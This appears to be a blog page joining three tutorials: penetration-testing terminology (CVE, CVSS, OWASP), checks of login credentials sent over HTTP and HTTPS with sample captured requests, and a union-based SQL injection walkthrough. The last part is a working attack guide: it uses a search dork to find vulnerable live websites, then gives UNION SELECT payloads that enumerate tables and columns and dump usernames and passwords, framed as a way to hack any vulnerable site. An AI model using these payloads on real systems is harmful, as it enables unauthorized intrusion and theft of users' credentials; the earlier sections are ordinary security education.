application penetration testing

Application pen testing basics for Ethical Hackers

Application pen testing basics Guide : In our previous tutorials, we have discussed about Application penetration testing and learned lot of Practical methods to perform application pen testing. We received a great response and feedback from users. Most of them showed interest in learning Penetration testing and asked us to write about Basics of Application Penetration testing. So friends, today we are going to learn very basics of Application pen testing basics like What is Application penetration testing? What is a penetration test? and much more. So friends lets learn Application Security Testing from very basics.

Before understanding what penetration testing actually is? One has to understand What is a Security Test or Penetration test? An Application Penetration Test is basically a method of evaluating the security posture of an application by simulating an attack from malicious hackers who would not otherwise have authorized access.

OWASP describes Application Security test as :

A method of evaluating the security of a computer system or network by methodically validating and verifying the effectiveness of application security controls.

So you can say Application Penetration testing (also called app pen testing) is the practice of testing application to find vulnerabilities that an attacker or hacker could exploit. But what’s the process involve in this evaluation and how penetration testers really do this? The process involves an analysis of the application for any weaknesses, technical flaws, or vulnerabilities. Any vulnerabilities that are found at any stage of Penetration testing will be presented to the system owner, together with an assessment of the impact which is usually called Security Testing Report, a proposal for mitigation or a technical solution i.e. how we can overcome this is some patch or technical solution. We will learn more about how to perform a penetration test and prepare a penetration test report in later articles.

Application pen testing basics

Below are some Generic terms which you will regularly deal with if it comes to Penetration testing:

Vulnerability : A vulnerability is a flaw or weakness in a system’s design, implementation, operation or management that could be exploited to compromise the system’s security objectives. By above statement, we mean that issue can present at any stage of application development cycle.

No matter how secure application you will make it will have flaws. Simple reason is audience. Application is usually made by few set of developers, they can try to minimize the risk but when application is published on web, millions of users uses that and this is where users become application testers indirectly.

Threat : A threat is anything (a malicious external attacker, an internal user, a system instability, etc) that may harm the assets owned by an application (resources of value, such as the data in a database or in the file system) by exploiting a vulnerability.

NVD : National Vulnerability Database, If you want to pursue your career in Penetration testing world then you will keep of hearing this term. The National Vulnerability Database is the U.S. government repository of standards-based vulnerability management data represented using the Security Content Automation Protocol (SCAP). This data enables automation of vulnerability management, security measurement, and compliance. NVD includes databases of security checklists, security related software flaws, misconfigurations, product names, and impact metrics. NVD supports the Information Security Automation Program (ISAP).

CVE : The Common Vulnerabilities and Exposures (CVE) system provides a reference-method for publicly known information-security vulnerabilities and exposures. CVE Identifiers (also called “CVE names”, “CVE numbers”, “CVE-IDs”, and “CVEs”) are unique, common identifiers for publicly known information-security vulnerabilities in publicly released software packages.

CVSS : The Common Vulnerability Scoring System (CVSS) is a free and open industry standard for assessing the severity of computer system security vulnerabilities. CVSS attempts to assign severity scores to vulnerabilities, allowing responders to prioritize responses and resources according to threat. Scores are calculated based on a formula that depends on several metrics that approximate ease of exploit and the impact of exploit. Scores range from 0 to 10, with 10 being the most severe. While many utilize only the CVSS Base score for determining severity, Temporal and Environmental scores also exist, to factor in availability of mitigations and how widespread vulnerable systems are within an organization, respectively.

You can read about how to use CVSS here :

Common Vulnerability Scoring System for Penetration Testing

OWASP : The Open Web Application Security Project (OWASP) is an online community which creates freely-available articles, methodologies, documentation, tools, and technologies in the field of web application security. OWASP seeks to educate developers, designers, architects and business owners about the risks associated with the most common Web application security vulnerabilities. OWASP, which supports both open source and commercial security products, has become known as a forum in which information technology professionals can network and build expertise. The organization publishes a popular Top Ten list that explains the most dangerous Web application security flaws and provides recommendations for dealing with those flaws.

That’s all for today, we will learn more basics is part 2 of application pen testing tutorials series. Keep Learning!! Keep Connected!!

Penetration testing of Credential Data over Encrypted Channel

Penetration testing of Credential Data over Encrypted Channel – As part of user’s authentication penetration testing, it is must to pen test how credential data (sensitive data) is transported over an encrypted channel to avoid being intercepted by some malicious hackers via Men-in-Middle type attacks. As we all know, just using https connection doesn’t mean that data transmission is completely safe. The security also depends of other parameters like encryption algorithm used and robustness of keys (public & private keys) used within.

If we are concerned about credential data penetration testing or application penetration testing, then very first thing that comes in mind of every penetration tester is Login page of a website or web application. The very first thing a penetration tester has to ensure is, how data is being transmitted over network i.e. whether its using encrypted (https) or unencrypted (http) channel. Now lets consider the best case scenario, its using encrypted channel i.e. https connection. But before extending you must learn the basic difference between Http and Https connections. Http protocol transfers data in a non-secure way, basically in clear text format while Https encrypts data during transmission; hence encrypted data is transferred over channel.

Pen testing of Credential Data over Encrypted Channel

We will learn web application penetration testing of credential data transfer over encrypted channel with help of multiple scenarios like sending data via post method through HTTP, sending data via post method through HTTPS, sending data via post method though HTTPS on a page which is also reachable by HTTP.

Note: We will be using WebScarab in this web application penetration testing tutorial.

PENETRATION TESTING OF CREDENTIAL DATA :

Scenario 1: Sending Data with Post Method over HTTP Channel

Consider an example for Penetration testing of credential data Post Method, we have a login page which accepts fields like username and password and submit button to authenticate credentials in order to provide access to website or web application. If we explore this request with WebScarab, we will get something like below:

POST http://www.samplewebsite.com/AuthenticationPage HTTP/1.1

Host: www.samplewebsite.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)

Accept: text/xml,application/xml,application/xhtml+xml

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.samplewebsite.com/login.php

Cookie: PHPSESSIONID=LVrRRQQXgwyWpW7QMnS49vtW1yBdqn98CGlkP4jTvVCGdyPkmn3S!

Content-Type: application/x-www-form-urlencoded

Content-length: 64

delegated_service=1&User=test123&Pass=test123&Submit=SUBMIT

From above result, penetration tester can easily identify web application is sending data to Authentication page via Post method using HTTP channel. So the data is transmitting without any encryption and a hacker can easily capture it using simple sniffing tools like Wireshark over the network. Hence credentials are exposed in clear text format in case web application is sending data over HTTP channel.

Scenario 2: Sending data with Post method over HTTPS channel

Now suppose if above web application is using HTTPS protocol to encrypt the data we are sending over network. Basically doing Penetration testing of credential data with Post Method over HTTPS. In this case, if we explore the header for login request using Webscarab tool, it will be something like below:

POST https://www.samplewebsite.com:443/cgi-bin/login.cgi HTTP/1.1

Host: www.samplewebsite.com

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14)

Accept: text/xml,application/xml,application/xhtml+xml,text/html

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: https://www.samplewebsite.com/cgi-bin/login.cgi

Cookie: language=English;

Content-Type: application/x-www-form-urlencoded

Content-length: 50

Command=Login&User=test123&Pass=test123

From above result from webscarab we can see that request is using HTTPS channel. This ensures that our credentials are sent using a encrypted channel and credentials cannot be read using sniffing. Again hacker will be able to get encrypted credentials but it will be hard to decrypt it and now everything depends upon encryption algorithm used to encrypt the credentials. So we have to ensure that we are using good encryption algorithm.

Scenario 3: Sending data with GET method via HTTPS

This method is always avoided as sensitive information is disclosed within the URL. So in this case hacker just needs to capture URL of victim which can be easily obtained via server logs, browser history, cookies etc. That’s the reason it’s always recommended to use a POST method for sensitive fields. But ironical thing is that, attacks like Men in Middle will be still hard to perform as data over channel is still encrypted. Beware!! Avoid using GET methods else you will end up getting hacked.

Scenario 4: Sending data with Post method via HTTPS but page is reachable by HTTP too

This is quite a bit wrong practice that most of webmasters are using, issue is that they have a website which is accessible using simple HTTP protocol but using HTTPS connection just for Login page. For example, a website which has some premium content which certain users can only see. If we inspect such website using webscarab, then it will look something like below:

POST http://www.samplewebsite.com/index.php

Host: http://www.samplewebsite.com/index.php

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.14) Accept: text/xml,application/xml,application/xhtml+xml,text/html

Accept-Language: it-it,it;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Referer: http://www.samplewebsite.com/index.php

Cookie: PHPSESSIONID=s2JyLkvDJ9ZhX3yr5BJ3DFLkdphH0QNSJ3VQB6pLhjkW6F

Content-Type: application/x-www-form-urlencoded

Content-length: 45

User=test123&Pass=test123&portal=SampleWebsitePage

We can see that our request is www.samplewebsite.com:443/login.php using a HTTPS channel. But if we inspect at the referrer info, we can see that it’s coming from HTTP channel which is an insecure way. Although we are sending data via HTTPS, but it’s still vulnerable to SSL Strip attacks or Men in Middle attacks. We will learn more about SSL strip attacks in later articles.

That’s all for today friends, we will learn more about authentication Penetration testing tutorials in later articles. So Keep Learning!! Keep Connected!!

Union Exploitation Technique to Exploit SQL Injection Vulnerability | Injection attacks – Part 8

SQL Injection flaw is quite easiest to exploit and protect too but only when you know how to do it. In continuation to our Injection attacks tutorial series, today we will learn about Union Exploitation Technique to exploit SQL Injection Vulnerability. Union exploitation technique is most common and easiest way to exploit SQL injection vulnerability to hack into websites and if you know how to do it then its same the other way around i.e. Protect SQL Injection vulnerability to be exploited by Union Exploitation technique. So lets learn about Union Exploitation Technique in detail with help of examples.

Union Exploitation Technique to Exploit SQL Injection Vulnerability | Injection attacks – Part 8.

Note: This article is for education purposes only. Any misuse may lead to harsh cyber law charges and even imprisonment.

But before that let me brief all of you about what is Union Operator? Union is an inbuilt keyword in almost all databases which is used to join a query. In SQL, we normally used Union operator to link another SQL query with original query. Hackers use this concept to exploit SQL Injection flaws to run their own SQL queries to retrieve information like usernames, passwords and other juicy information from victims databases.

Here’s a brief about procedure that we are going to learn to exploit SQL Injection using Union Exploitation Technique:

1. Find the Vulnerable website which is vulnerable to SQL Injection.

2. Find the Number of Columns in website using Order by clause.

3. Find most vulnerable columns which can be used to exploit SQL Injection Vulnerability using Union operator.

4. Test run to validate that column found is vulnerable by querying version information.

5. Use Information Schema to get Table Names

6. Use Information Schema to get Column Names

7. Use Information Schema to get Column values. For example: Username, passwords, customer information.

Oops…. That’s it all about Union Exploitation technique to exploit SQL injection vulnerability to own or hack any vulnerable website. Now lets learn in detail how to use union Exploitation technique to Exploit SQL Injection Vulnerability.Let’s learn the process in detail.Union Exploitation Technique to Exploit SQL Injection Vulnerability:

Step 1: Finding SQL injection vulnerable websites:

We have already learned this in our previous articles, if somebody missed here is brief:
Use Google to find Vulnerable website by searching for below query :

inurl:php?id=

There are several other dorks to find SQL injection vulnerable websites but above one is easiest and success rate almost 90-95%.

Now Google search will display some results. Open any one of them, say

www.example.com/shop.php?id=6

Now to check if its vulnerable to SQL Injection or not, just add ‘(single quote) at end of it i.e. query will become something like below:

www.example.com/shop.php?id=6′

Now if you get error something like below, then it means website is vulnerable to SQL Injection.

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1

or something like below:

Query failed: You have an error in your SQL syntax near ”6”’ at line 1

or any other error.

Step 2: Finding Exact Number Columns in Website

Once you know that website is vulnerable to SQL Injection, next step is to find exact number of columns in website database. Which you can know by running below query :

www.example.com/shop.php?id=6 ORDER BY <NUM>–

Now say website has 16 columns, which you don’t know then you can get it by using binary search approach. For example running below manner sequences:

www.example.com/shop.php?id=6 ORDER BY 10–

Result : Some page opens with data i.e. no error page.Then incrementing it by 10 i.e.

www.example.com/shop.php?id=6 ORDER BY 20–

and so on until you get below error message :

Unknown column ‘<NUM>’ in ‘order clause’

or any other custom message.Once you get the above error message, then it means you exceeded the exact column numbers so decrease it one by once until to error is gone. Last successful page means exact column count. Say you get 16 columns. Then last successful request executed must be :

www.example.com/shop.php?id=6 ORDER BY 16–

This steps will give exact number of columns in the database of website.

Step 3: Finding Vulnerable Columns using UNION ALL clause.

Once you know the exact number of columns in database then you can get list of all vulnerable columns by running below query:

www.example.com/shop.php?id=6 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16–

This will result in some page and on that page some numbers will be displayed. Those are actually vulnerable columns. Now say 2, 4 and 8 are displayed on page. This means column 2, column 4 and column 8 are most vulnerable columns which can be used to run your own SQL queries.If above query execution shows normal web page as it usually displays then it means query is failed. Then we used field exploitation technqiue by inserting ‘-‘ in ID value. So the query will become something like below:

www.example.com/shop.php?id=-6 UNION ALL SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16–

Wow, now you have some numbers scattered over web page, which means vulnerable columns on website.

Step 4: Test run to validate vulnerable columns

Now we have list of all vulnerable columns, next step will be validating that we are correct.Easiest way to validate is executing version() command in vulnerable column, for example, say column 2 was vulnerable:

www.example.com/shop.php?id=-6 UNION ALL SELECT 1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16–

Now in place of 2 on web page you will get the version number displayed. Check this for all vulnerable columns.

Step 5: Use information Schema to get Table Names

Now we know vulnerable columns of database, next step will be extracting table names from the database. This can be achieved by knowing concepts of Information schema.Learn more about information schema to extract table names here:
http://dev.mysql.com/doc/refman/5.1/en/tables-table.html

Using information schema we can execute query as if we are administrators. So in order to extract table names we will run below query on column 2 (vulnerable column).

www.example.com/shop.php?id=-6 UNION ALL SELECT 1,group_concat(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.tables where table_schema = database()–

Above query will give you complete list of tables present in the database. You know which table you need to search for Username and passwords :D.Step 6: Use information schema to get Column namesUsing the same concept used in step 5, we will use information schema to extract column names too.Learn more about Information Schema to extract column names:
http://dev.mysql.com/doc/refman/5.1/en/columns-table.html

Now to extract column names from database, below query will work like Bulls Eye:

www.example.com/shop.php?id=-6 UNION ALL SELECT 1,group_concat(column_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16 from information_schema.columns where table_schema = database()–

The above query will result into extracting all column names.Step 7: Use Information Schema concept to get column values of required tableWell till now we have table names, column names. Only thing left is data from tables. Now say we got some table as USERS which has column names USERNAME and PASSWORD. In order to extract data from USERS table below query is sufficient :

www.example.com/shop.php?id=-6 UNION ALL SELECT 1,group_concat(username,0x3a,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16 from USERS–

Above query will result into displaying usernames and passwords in below format username:password as 0x3a is hex value for ‘:’.That’s it guys, now you have username, password, table names, passwords. What else do you need.That’s all for today, we will continue to learn more about injection attacks in later tutorials.If you have any queries of doubts, feel free to ask.